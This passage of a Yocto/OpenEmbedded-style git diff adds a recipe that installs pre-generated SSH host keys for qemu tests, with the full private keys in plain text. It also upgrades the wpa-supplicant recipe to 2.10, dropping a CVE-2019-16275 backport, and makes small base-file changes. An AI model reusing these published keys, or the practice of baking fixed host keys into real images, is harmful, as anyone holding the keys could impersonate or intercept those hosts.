+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
+1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQRJR6iZxr/NTqQN9NOwV+WPtu42r2eF
+rJ0xsnlqw5bpmfz6aDR8RQvVHUZjRGQfR/RXPbQ5x+bjjdm176TuXNhHAAAAqAoE27MKBN
+uzAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBElHqJnGv81OpA30
+07BX5Y+27javZ4WsnTGyeWrDlumZ/PpoNHxFC9UdRmNEZB9H9Fc9tDnH5uON2bXvpO5c2E
+cAAAAgLiHv/IWhxwosz9BiNILOOPlXaueL5hVTBKUJkpOi48sAAAANcm9vdEBxZW11bWlw
+cwECAw==
+-----END OPENSSH PRIVATE KEY-----
diff --git a/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ecdsa_key.pub b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ecdsa_key.pub
new file mode 100644
index 0000000000..a358aeb88a
--- /dev/null
+++ b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ecdsa_key.pub
@@ -0,0 +1 @@
+ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBElHqJnGv81OpA3007BX5Y+27javZ4WsnTGyeWrDlumZ/PpoNHxFC9UdRmNEZB9H9Fc9tDnH5uON2bXvpO5c2Ec= root@qemupregen
diff --git a/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ed25519_key b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ed25519_key
new file mode 100644
index 0000000000..00ed9adae2
--- /dev/null
+++ b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ed25519_key
@@ -0,0 +1,7 @@
+-----BEGIN OPENSSH PRIVATE KEY-----
+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
+QyNTUxOQAAACDHSFTAbJ3OTd1r1E8G5JleCmsJEpQHmdTGtMcYqwWbbwAAAJChFtV0oRbV
+dAAAAAtzc2gtZWQyNTUxOQAAACDHSFTAbJ3OTd1r1E8G5JleCmsJEpQHmdTGtMcYqwWbbw
+AAAEA8UiUsygsTbP0HkDi5leXpQaVXihDyCHeitkBCItJGhcdIVMBsnc5N3WvUTwbkmV4K
+awkSlAeZ1Ma0xxirBZtvAAAADXJvb3RAcWVtdW1pcHM=
+-----END OPENSSH PRIVATE KEY-----
diff --git a/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ed25519_key.pub b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ed25519_key.pub
new file mode 100644
index 0000000000..cc0e2f43ed
--- /dev/null
+++ b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ed25519_key.pub
@@ -0,0 +1 @@
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMdIVMBsnc5N3WvUTwbkmV4KawkSlAeZ1Ma0xxirBZtv root@qemupregen
diff --git a/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_rsa_key b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_rsa_key
new file mode 100644
index 0000000000..a8e4406ba3
--- /dev/null
+++ b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_rsa_key
@@ -0,0 +1,38 @@
+-----BEGIN OPENSSH PRIVATE KEY-----
+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
+NhAAAAAwEAAQAAAYEA2Q6dzF1xziCQCFq+e+Fv6w0607gNlyKnkhuoRq8G7/HEqXU2eEtC
+i3AMUrAP8k7s9kP5vI5CyfSgFuC9MxDV2YL2bsmvRxBSKgg6KbNxkoTaFBqyqHopuWQca8
+KRahvzt5dh9fsmeqamIwgMWKTSwtDHcsbyt84nmO2Z2ZrNXobgueMIj+HiJVgmWn86FQFL
+EoONAA+qb4SciPsxvmTlaQ/DMAh3llVo/IMLD9oyAyAI2kbHNnZttlYv5TmY7ICd3yCW8z
+PXrxNcEF3Qs1d68gVJxLjLKTlYGzJW2J+RwY+1DJZ0w4lozeQiZXTXVtzcJB0tm2DcvQMz
+kqyARmncSUwcPbEClEW6Y2xQnLeSHjexzlCCndiUbBTeG5iRl4OL6DN40iI9Lw2VROtj2Y
+59n9PCfaoUs08dsgJLaNrDbRHrCRLSdZJ6OQFiC/nAx/t4e4+wdUgNOqLyJqomdNdaLXPq
+tzr9ssrcY5j1DmmwKtzfTI5VM9LRQo+REIiUCNTFAAAFiFh232tYdt9rAAAAB3NzaC1yc2
+EAAAGBANkOncxdcc4gkAhavnvhb+sNOtO4DZcip5IbqEavBu/xxKl1NnhLQotwDFKwD/JO
+7PZD+byOQsn0oBbgvTMQ1dmC9m7Jr0cQUioIOimzcZKE2hQasqh6KblkHGvCkWob87eXYf
+X7JnqmpiMIDFik0sLQx3LG8rfOJ5jtmdmazV6G4LnjCI/h4iVYJlp/OhUBSxKDjQAPqm+E
+nIj7Mb5k5WkPwzAId5ZVaPyDCw/aMgMgCNpGxzZ2bbZWL+U5mOyAnd8glvMz168TXBBd0L
+NXevIFScS4yyk5WBsyVtifkcGPtQyWdMOJaM3kImV011bc3CQdLZtg3L0DM5KsgEZp3ElM
+HD2xApRFumNsUJy3kh43sc5Qgp3YlGwU3huYkZeDi+gzeNIiPS8NlUTrY9mOfZ/Twn2qFL
+NPHbICS2jaw20R6wkS0nWSejkBYgv5wMf7eHuPsHVIDTqi8iaqJnTXWi1z6rc6/bLK3GOY
+9Q5psCrc30yOVTPS0UKPkRCIlAjUxQAAAAMBAAEAAAGAGIj+bUtiwdoMbeVUAszIydkE/U
+mgv6S7LFjT/KlsL1M017LYJWDcdMaFnhMouksRngSxBg9OnWV5cxyURmFwytVy5bMGjRHb
+N8UWTgBqphU+UWdzKngkn0AhtkyYA1aFhgsml5d8EgEkZnFSc/KtoDfZU7AJX519/FtfOK
+m27Shx3pE7Nohh97avHyuidR1gTwdvuMIMke57g0BhrxPYmredaKCMZAHjjCeD6JbRcGj+
+ly3I9u8MF8BGSbLpBlLDUFCwP8G5CdmMua8bPJYhPSRqMLQhclI7hc6FaYk+gZV9B74Iv/
+SAxcCwI97dNbE0IAsbbWoUdoKGpAYQ5gOdhu5ioqZwKWjNjB3Xx48mq8xtmIR9HEnYzEnk
+b/tDWNRWrGkvNK7vpLvnbsSSKBqOAbMzmQdJxogTgjE5doSmu2/krIMR6KUcUox2ZrR8Ot
+JM6bXyNFBviiXmYvw/SZTDrVJu8BPMu5EMS5pBl8jPFBGI/ePk4qg7lWAJeQ89ThtBAAAA
+wQDEU4HjomWwJsn9UWdoodXTV5aPY9B1OPkmYnRPtsjSAcXgtBzUXMEOsmXODOK3aQjsE0
+jQKpWDAUcUf6KKZKRehxUN4MlwujCG9czn65S6B8BsP1YUfZQjpNyub8vDBfeKzlxKBEEM
+lb4iBT+LEGkihK13H5CbqRg1GDAThZzwrV4pj3S40zgyHhn8JjK4x4djEY6NwkWH8E2DgD
+8vYG/FKh5E/VIZtCgtAHa4QNAgGB4VMRn1VpSJzxjCxb1wancAAADBAPT7F34WYEI3Vc52
+p1U5rPa6dZtg5QM14V0+KtMlb3frd0/F+JVj4t6COQ8J9pkOuD0YjOYJuFXIWAAYIjCdWt
+cbTi/sSERawOWxrgSwJo2vjt5izrBQtr3N8tiB6KDGa5sdgJl5XzJ0SsdStfBbyhcJO4RV
+p9lc+X8OsUfFsClmyIs45vlxBRH06DP6/zmYCAmqvlrfZJKqlpKAEWDDObRy/3+mSNhZ0J
+BdmncASiASRlPPIoIHznyA1COUn6+TnwAAAMEA4tH89Dez2JauyPVeCyHAC680vrBKjmMx
+WYdpq2Xzd/LNl2L9oc0IEZzerLTuaCh6qsbbk2wWj1nrYXvefz/xUtDR427tvRXckcsWhP
+2HYohdYBkwTpp9QuscIV76GdwbTImuNEzvABH1hpTG6DSzqeyf/EVmSq07nptJIs5lpU49
+tW2aWraSvswHR9xfts1U79w9f4BNDy1rTmfuLERTRNF/T9CIFsk9tArLUNT64mhHtoEs8F
+9AyGuq6v49bN0bAAAADXJvb3RAcWVtdW1pcHMBAgMEBQ==
+-----END OPENSSH PRIVATE KEY-----
diff --git a/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_rsa_key.pub b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_rsa_key.pub
new file mode 100644
index 0000000000..9eb8c3838f
--- /dev/null
+++ b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_rsa_key.pub
@@ -0,0 +1 @@
+ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZDp3MXXHOIJAIWr574W/rDTrTuA2XIqeSG6hGrwbv8cSpdTZ4S0KLcAxSsA/yTuz2Q/m8jkLJ9KAW4L0zENXZgvZuya9HEFIqCDops3GShNoUGrKoeim5ZBxrwpFqG/O3l2H1+yZ6pqYjCAxYpNLC0MdyxvK3zieY7ZnZms1ehuC54wiP4eIlWCZafzoVAUsSg40AD6pvhJyI+zG+ZOVpD8MwCHeWVWj8gwsP2jIDIAjaRsc2dm22Vi/lOZjsgJ3fIJbzM9evE1wQXdCzV3ryBUnEuMspOVgbMlbYn5HBj7UMlnTDiWjN5CJldNdW3NwkHS2bYNy9AzOSrIBGadxJTBw9sQKURbpjbFCct5IeN7HOUIKd2JRsFN4bmJGXg4voM3jSIj0vDZVE62PZjn2f08J9qhSzTx2yAkto2sNtEesJEtJ1kno5AWIL+cDH+3h7j7B1SA06ovImqiZ011otc+q3Ov2yytxjmPUOabAq3N9MjlUz0tFCj5EQiJQI1MU= root@qemupregen
diff --git a/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys_1.0.bb b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys_1.0.bb
new file mode 100644
index 0000000000..ddd10e6eeb
--- /dev/null
+++ b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys_1.0.bb
@@ -0,0 +1,19 @@
+SUMMARY = "Pre generated host keys mainly for speeding up our qemu tests"
+
+SRC_URI = "file://dropbear_rsa_host_key \
+ file://openssh"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+INHIBIT_DEFAULT_DEPS = "1"
+
+do_install () {
+ install -d ${D}${sysconfdir}/dropbear
+ install ${WORKDIR}/dropbear_rsa_host_key -m 0600 ${D}${sysconfdir}/dropbear/
+
+ install -d ${D}${sysconfdir}/ssh
+ install ${WORKDIR}/openssh/* ${D}${sysconfdir}/ssh/
+ chmod 0600 ${D}${sysconfdir}/ssh/*
+ chmod 0644 ${D}${sysconfdir}/ssh/*.pub
+} \ No newline at end of file
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-AP-Silently-ignore-management-frame-from-unexpected-.patch b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-AP-Silently-ignore-management-frame-from-unexpected-.patch
deleted file mode 100644
index 7b0713cf6d..0000000000
--- a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-AP-Silently-ignore-management-frame-from-unexpected-.patch
+++ /dev/null
@@ -1,82 +0,0 @@
-hostapd before 2.10 and wpa_supplicant before 2.10 allow an incorrect indication
-of disconnection in certain situations because source address validation is
-mishandled. This is a denial of service that should have been prevented by PMF
-(aka management frame protection). The attacker must send a crafted 802.11 frame
-from a location that is within the 802.11 communications range.
-
-CVE: CVE-2019-16275
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 8c07fa9eda13e835f3f968b2e1c9a8be3a851ff9 Mon Sep 17 00:00:00 2001
-From: Jouni Malinen <j@w1.fi>
-Date: Thu, 29 Aug 2019 11:52:04 +0300
-Subject: [PATCH] AP: Silently ignore management frame from unexpected source
- address
-
-Do not process any received Management frames with unexpected/invalid SA
-so that we do not add any state for unexpected STA addresses or end up
-sending out frames to unexpected destination. This prevents unexpected
-sequences where an unprotected frame might end up causing the AP to send
-out a response to another device and that other device processing the
-unexpected response.
-
-In particular, this prevents some potential denial of service cases
-where the unexpected response frame from the AP might result in a
-connected station dropping its association.
-
-Signed-off-by: Jouni Malinen <j@w1.fi>
----
- src/ap/drv_callbacks.c | 13 +++++++++++++
- src/ap/ieee802_11.c | 12 ++++++++++++
- 2 files changed, 25 insertions(+)
-
-diff --git a/src/ap/drv_callbacks.c b/src/ap/drv_callbacks.c
-index 31587685fe3b..34ca379edc3d 100644
---- a/src/ap/drv_callbacks.c
-+++ b/src/ap/drv_callbacks.c
-@@ -131,6 +131,19 @@ int hostapd_notif_assoc(struct hostapd_data *hapd, const u8 *addr,
- "hostapd_notif_assoc: Skip event with no address");
- return -1;
- }
-+
-+ if (is_multicast_ether_addr(addr) ||
-+ is_zero_ether_addr(addr) ||
-+ os_memcmp(addr, hapd->own_addr, ETH_ALEN) == 0) {
-+ /* Do not process any frames with unexpected/invalid SA so that
-+ * we do not add any state for unexpected STA addresses or end
-+ * up sending out frames to unexpected destination. */
-+ wpa_printf(MSG_DEBUG, "%s: Invalid SA=" MACSTR
-+ " in received indication - ignore this indication silently",
-+ __func__, MAC2STR(addr));
-+ return 0;
-+ }
-+
- random_add_randomness(addr, ETH_ALEN);
-
- hostapd_logger(hapd, addr, HOSTAPD_MODULE_IEEE80211,
-diff --git a/src/ap/ieee802_11.c b/src/ap/ieee802_11.c
-index c85a28db44b7..e7065372e158 100644
---- a/src/ap/ieee802_11.c
-+++ b/src/ap/ieee802_11.c
-@@ -4626,6 +4626,18 @@ int ieee802_11_mgmt(struct hostapd_data *hapd, const u8 *buf, size_t len,
- fc = le_to_host16(mgmt->frame_control);
- stype = WLAN_FC_GET_STYPE(fc);
-
-+ if (is_multicast_ether_addr(mgmt->sa) ||
-+ is_zero_ether_addr(mgmt->sa) ||
-+ os_memcmp(mgmt->sa, hapd->own_addr, ETH_ALEN) == 0) {
-+ /* Do not process any frames with unexpected/invalid SA so that
-+ * we do not add any state for unexpected STA addresses or end
-+ * up sending out frames to unexpected destination. */
-+ wpa_printf(MSG_DEBUG, "MGMT: Invalid SA=" MACSTR
-+ " in received frame - ignore this frame silently",
-+ MAC2STR(mgmt->sa));
-+ return 0;
-+ }
-+
- if (stype == WLAN_FC_STYPE_BEACON) {
- handle_beacon(hapd, mgmt, len, fi);
- return 1;
---
-2.20.1
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-replace-systemd-install-Alias-with-WantedBy.patch b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-replace-systemd-install-Alias-with-WantedBy.patch
deleted file mode 100644
index a476cf040e..0000000000
--- a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-replace-systemd-install-Alias-with-WantedBy.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-From 94c401733a5a3d294cc412671166e6adfb409f53 Mon Sep 17 00:00:00 2001
-From: Joshua DeWeese <jdeweese@hennypenny.com>
-Date: Wed, 30 Jan 2019 16:19:47 -0500
-Subject: [PATCH] replace systemd install Alias with WantedBy
-
-According to the systemd documentation "WantedBy=foo.service in a
-service bar.service is mostly equivalent to
-Alias=foo.service.wants/bar.service in the same file." However,
-this is not really the intended purpose of install Aliases.
-
-Upstream-Status: Submitted [hostap@lists.infradead.org]
-
-Signed-off-by: Joshua DeWeese <jdeweese@hennypenny.com>
----
- wpa_supplicant/systemd/wpa_supplicant-nl80211.service.arg.in | 2 +-
- wpa_supplicant/systemd/wpa_supplicant-wired.service.arg.in | 2 +-
- wpa_supplicant/systemd/wpa_supplicant.service.arg.in | 2 +-
- 3 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/wpa_supplicant/systemd/wpa_supplicant-nl80211.service.arg.in b/wpa_supplicant/systemd/wpa_supplicant-nl80211.service.arg.in
-index 03ac507..da69a87 100644
---- a/wpa_supplicant/systemd/wpa_supplicant-nl80211.service.arg.in
-+++ b/wpa_supplicant/systemd/wpa_supplicant-nl80211.service.arg.in
-@@ -12,4 +12,4 @@ Type=simple
- ExecStart=@BINDIR@/wpa_supplicant -c/etc/wpa_supplicant/wpa_supplicant-nl80211-%I.conf -Dnl80211 -i%I
-
- [Install]
--Alias=multi-user.target.wants/wpa_supplicant-nl80211@%i.service
-+WantedBy=multi-user.target
-diff --git a/wpa_supplicant/systemd/wpa_supplicant-wired.service.arg.in b/wpa_supplicant/systemd/wpa_supplicant-wired.service.arg.in
-index c8a744d..ca3054b 100644
---- a/wpa_supplicant/systemd/wpa_supplicant-wired.service.arg.in
-+++ b/wpa_supplicant/systemd/wpa_supplicant-wired.service.arg.in
-@@ -12,4 +12,4 @@ Type=simple
- ExecStart=@BINDIR@/wpa_supplicant -c/etc/wpa_supplicant/wpa_supplicant-wired-%I.conf -Dwired -i%I
-
- [Install]
--Alias=multi-user.target.wants/wpa_supplicant-wired@%i.service
-+WantedBy=multi-user.target
-diff --git a/wpa_supplicant/systemd/wpa_supplicant.service.arg.in b/wpa_supplicant/systemd/wpa_supplicant.service.arg.in
-index 7788b38..55d2b9c 100644
---- a/wpa_supplicant/systemd/wpa_supplicant.service.arg.in
-+++ b/wpa_supplicant/systemd/wpa_supplicant.service.arg.in
-@@ -12,4 +12,4 @@ Type=simple
- ExecStart=@BINDIR@/wpa_supplicant -c/etc/wpa_supplicant/wpa_supplicant-%I.conf -i%I
-
- [Install]
--Alias=multi-user.target.wants/wpa_supplicant@%i.service
-+WantedBy=multi-user.target
---
-2.7.4
-
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.10.bb b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.10.bb
new file mode 100644
index 0000000000..6e80ac7de3
--- /dev/null
+++ b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.10.bb
@@ -0,0 +1,108 @@
+SUMMARY = "Client for Wi-Fi Protected Access (WPA)"
+HOMEPAGE = "http://w1.fi/wpa_supplicant/"
+DESCRIPTION = "wpa_supplicant is a WPA Supplicant for Linux, BSD, Mac OS X, and Windows with support for WPA and WPA2 (IEEE 802.11i / RSN). Supplicant is the IEEE 802.1X/WPA component that is used in the client stations. It implements key negotiation with a WPA Authenticator and it controls the roaming and IEEE 802.11 authentication/association of the wlan driver."
+BUGTRACKER = "http://w1.fi/security/"
+SECTION = "network"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=5ebcb90236d1ad640558c3d3cd3035df \
+ file://README;beginline=1;endline=56;md5=e3d2f6c2948991e37c1ca4960de84747 \
+ file://wpa_supplicant/wpa_supplicant.c;beginline=1;endline=12;md5=76306a95306fee9a976b0ac1be70f705"
+DEPENDS = "dbus libnl"
+RRECOMMENDS:${PN} = "wpa-supplicant-passphrase wpa-supplicant-cli"
+
+PACKAGECONFIG ??= "openssl"
+PACKAGECONFIG[gnutls] = ",,gnutls libgcrypt"
+PACKAGECONFIG[openssl] = ",,openssl"
+
+inherit pkgconfig systemd
+
+SYSTEMD_SERVICE:${PN} = "wpa_supplicant.service"
+SYSTEMD_AUTO_ENABLE = "disable"
+
+SRC_URI = "http://w1.fi/releases/wpa_supplicant-${PV}.tar.gz \
+ file://defconfig \
+ file://wpa-supplicant.sh \
+ file://wpa_supplicant.conf \
+ file://wpa_supplicant.conf-sane \
+ file://99_wpa_supplicant \
+ "
+SRC_URI[sha256sum] = "20df7ae5154b3830355f8ab4269123a87affdea59fe74fe9292a91d0d7e17b2f"
+
+CVE_PRODUCT = "wpa_supplicant"
+
+S = "${WORKDIR}/wpa_supplicant-${PV}"
+
+PACKAGES:prepend = "wpa-supplicant-passphrase wpa-supplicant-cli "
+FILES:wpa-supplicant-passphrase = "${bindir}/wpa_passphrase"
+FILES:wpa-supplicant-cli = "${sbindir}/wpa_cli"
+FILES:${PN} += "${datadir}/dbus-1/system-services/* ${systemd_system_unitdir}/*"
+CONFFILES:${PN} += "${sysconfdir}/wpa_supplicant.conf"
+
+do_configure () {
+ ${MAKE} -C wpa_supplicant clean
+ install -m 0755 ${WORKDIR}/defconfig wpa_supplicant/.config
+
+ if echo "${PACKAGECONFIG}" | grep -qw "openssl"; then
+ ssl=openssl
+ elif echo "${PACKAGECONFIG}" | grep -qw "gnutls"; then
+ ssl=gnutls
+ fi
+ if [ -n "$ssl" ]; then
+ sed -i "s/%ssl%/$ssl/" wpa_supplicant/.config
+ fi
+
+ # For rebuild
+ rm -f wpa_supplicant/*.d wpa_supplicant/dbus/*.d
+}
+
+export EXTRA_CFLAGS = "${CFLAGS}"
+export BINDIR = "${sbindir}"
+
+do_compile () {
+ unset CFLAGS CPPFLAGS CXXFLAGS
+ sed -e "s:CFLAGS\ =.*:& \$(EXTRA_CFLAGS):g" -i ${S}/src/lib.rules
+ oe_runmake -C wpa_supplicant
+}
+
+do_install () {
+ install -d ${D}${sbindir}
+ install -m 755 wpa_supplicant/wpa_supplicant ${D}${sbindir}
+ install -m 755 wpa_supplicant/wpa_cli ${D}${sbindir}
+
+ install -d ${D}${bindir}
+ install -m 755 wpa_supplicant/wpa_passphrase ${D}${bindir}
+
+ install -d ${D}${docdir}/wpa_supplicant
+ install -m 644 wpa_supplicant/README ${WORKDIR}/wpa_supplicant.conf ${D}${docdir}/wpa_supplicant
+
+ install -d ${D}${sysconfdir}
+ install -m 600 ${WORKDIR}/wpa_supplicant.conf-sane ${D}${sysconfdir}/wpa_supplicant.conf
+
+ install -d ${D}${sysconfdir}/network/if-pre-up.d/
+ install -d ${D}${sysconfdir}/network/if-post-down.d/
+ install -d ${D}${sysconfdir}/network/if-down.d/
+ install -m 755 ${WORKDIR}/wpa-supplicant.sh ${D}${sysconfdir}/network/if-pre-up.d/wpa-supplicant
+ cd ${D}${sysconfdir}/network/ && \
+ ln -sf ../if-pre-up.d/wpa-supplicant if-post-down.d/wpa-supplicant
+
+ install -d ${D}/${sysconfdir}/dbus-1/system.d
+ install -m 644 ${S}/wpa_supplicant/dbus/dbus-wpa_supplicant.conf ${D}/${sysconfdir}/dbus-1/system.d
+ install -d ${D}/${datadir}/dbus-1/system-services
+ install -m 644 ${S}/wpa_supplicant/dbus/*.service ${D}/${datadir}/dbus-1/system-services
+
+ if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
+ install -d ${D}/${systemd_system_unitdir}
+ install -m 644 ${S}/wpa_supplicant/systemd/*.service ${D}/${systemd_system_unitdir}
+ fi
+
+ install -d ${D}/etc/default/volatiles
+ install -m 0644 ${WORKDIR}/99_wpa_supplicant ${D}/etc/default/volatiles
+}
+
+pkg_postinst:${PN} () {
+ # If we're offline, we don't need to do this.
+ if [ "x$D" = "x" ]; then
+ killall -q -HUP dbus-daemon || true
+ fi
+
+}
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.9.bb b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.9.bb
deleted file mode 100644
index 3e92427bb0..0000000000
--- a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.9.bb
+++ /dev/null
@@ -1,110 +0,0 @@
-SUMMARY = "Client for Wi-Fi Protected Access (WPA)"
-HOMEPAGE = "http://w1.fi/wpa_supplicant/"
-BUGTRACKER = "http://w1.fi/security/"
-SECTION = "network"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=279b4f5abb9c153c285221855ddb78cc \
- file://README;beginline=1;endline=56;md5=e7d3dbb01f75f0b9799e192731d1e1ff \
- file://wpa_supplicant/wpa_supplicant.c;beginline=1;endline=12;md5=0a8b56d3543498b742b9c0e94cc2d18b"
-DEPENDS = "dbus libnl"
-RRECOMMENDS_${PN} = "wpa-supplicant-passphrase wpa-supplicant-cli"
-
-PACKAGECONFIG ??= "gnutls"
-PACKAGECONFIG[gnutls] = ",,gnutls libgcrypt"
-PACKAGECONFIG[openssl] = ",,openssl"
-
-inherit pkgconfig systemd
-
-SYSTEMD_SERVICE_${PN} = "wpa_supplicant.service wpa_supplicant-nl80211@.service wpa_supplicant-wired@.service"
-SYSTEMD_AUTO_ENABLE = "disable"
-
-SRC_URI = "http://w1.fi/releases/wpa_supplicant-${PV}.tar.gz \
- file://defconfig \
- file://wpa-supplicant.sh \
- file://wpa_supplicant.conf \
- file://wpa_supplicant.conf-sane \
- file://99_wpa_supplicant \
- file://0001-replace-systemd-install-Alias-with-WantedBy.patch \
- file://0001-AP-Silently-ignore-management-frame-from-unexpected-.patch \
- "
-SRC_URI[md5sum] = "2d2958c782576dc9901092fbfecb4190"
-SRC_URI[sha256sum] = "fcbdee7b4a64bea8177973299c8c824419c413ec2e3a95db63dd6a5dc3541f17"
-
-CVE_PRODUCT = "wpa_supplicant"
-
-S = "${WORKDIR}/wpa_supplicant-${PV}"
-
-PACKAGES_prepend = "wpa-supplicant-passphrase wpa-supplicant-cli "
-FILES_wpa-supplicant-passphrase = "${bindir}/wpa_passphrase"
-FILES_wpa-supplicant-cli = "${sbindir}/wpa_cli"
-FILES_${PN} += "${datadir}/dbus-1/system-services/*"
-CONFFILES_${PN} += "${sysconfdir}/wpa_supplicant.conf"
-
-do_configure () {
- ${MAKE} -C wpa_supplicant clean
- install -m 0755 ${WORKDIR}/defconfig wpa_supplicant/.config
-
- if echo "${PACKAGECONFIG}" | grep -qw "openssl"; then
- ssl=openssl
- elif echo "${PACKAGECONFIG}" | grep -qw "gnutls"; then
- ssl=gnutls
- fi
- if [ -n "$ssl" ]; then
- sed -i "s/%ssl%/$ssl/" wpa_supplicant/.config
- fi
-
- # For rebuild
- rm -f wpa_supplicant/*.d wpa_supplicant/dbus/*.d
-}
-
-export EXTRA_CFLAGS = "${CFLAGS}"
-export BINDIR = "${sbindir}"
-
-do_compile () {
- unset CFLAGS CPPFLAGS CXXFLAGS
- sed -e "s:CFLAGS\ =.*:& \$(EXTRA_CFLAGS):g" -i ${S}/src/lib.rules
- oe_runmake -C wpa_supplicant
-}
-
-do_install () {
- install -d ${D}${sbindir}
- install -m 755 wpa_supplicant/wpa_supplicant ${D}${sbindir}
- install -m 755 wpa_supplicant/wpa_cli ${D}${sbindir}
-
- install -d ${D}${bindir}
- install -m 755 wpa_supplicant/wpa_passphrase ${D}${bindir}
-
- install -d ${D}${docdir}/wpa_supplicant
- install -m 644 wpa_supplicant/README ${WORKDIR}/wpa_supplicant.conf ${D}${docdir}/wpa_supplicant
-
- install -d ${D}${sysconfdir}
- install -m 600 ${WORKDIR}/wpa_supplicant.conf-sane ${D}${sysconfdir}/wpa_supplicant.conf
-
- install -d ${D}${sysconfdir}/network/if-pre-up.d/
- install -d ${D}${sysconfdir}/network/if-post-down.d/
- install -d ${D}${sysconfdir}/network/if-down.d/
- install -m 755 ${WORKDIR}/wpa-supplicant.sh ${D}${sysconfdir}/network/if-pre-up.d/wpa-supplicant
- cd ${D}${sysconfdir}/network/ && \
- ln -sf ../if-pre-up.d/wpa-supplicant if-post-down.d/wpa-supplicant
-
- install -d ${D}/${sysconfdir}/dbus-1/system.d
- install -m 644 ${S}/wpa_supplicant/dbus/dbus-wpa_supplicant.conf ${D}/${sysconfdir}/dbus-1/system.d
- install -d ${D}/${datadir}/dbus-1/system-services
- install -m 644 ${S}/wpa_supplicant/dbus/*.service ${D}/${datadir}/dbus-1/system-services
-
- if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
- install -d ${D}/${systemd_unitdir}/system
- install -m 644 ${S}/wpa_supplicant/systemd/*.service ${D}/${systemd_unitdir}/system
- fi
-
- install -d ${D}/etc/default/volatiles
- install -m 0644 ${WORKDIR}/99_wpa_supplicant ${D}/etc/default/volatiles
-}
-
-pkg_postinst_wpa-supplicant () {
- # If we're offline, we don't need to do this.
- if [ "x$D" = "x" ]; then
- killall -q -HUP dbus-daemon || true
- fi
-
-}
diff --git a/meta/recipes-core/base-files/base-files/fstab b/meta/recipes-core/base-files/base-files/fstab
index d79a01602f..70e400f567 100644
--- a/meta/recipes-core/base-files/base-files/fstab
+++ b/meta/recipes-core/base-files/base-files/fstab
@@ -2,7 +2,7 @@
/dev/root / auto defaults 1 1
proc /proc proc defaults 0 0
-devpts /dev/pts devpts mode=0620,gid=5 0 0
+devpts /dev/pts devpts mode=0620,ptmxmode=0666,gid=5 0 0
tmpfs /run tmpfs mode=0755,nodev,nosuid,strictatime 0 0
tmpfs /var/volatile tmpfs defaults 0 0
diff --git a/meta/recipes-core/base-files/base-files/profile b/meta/recipes-core/base-files/base-files/profile
index 9e4283e0c7..cc37e1ba77 100644
--- a/meta/recipes-core/base-files/base-files/profile
+++ b/meta/recipes-core/base-files/base-files/profile
@@ -2,7 +2,6 @@
# and Bourne compatible shells (bash(1), ksh(1), ash(1), ...).
PATH="/usr/local/bin:/usr/bin:/bin"
-EDITOR="vi" # needed for packages like cron, git-commit
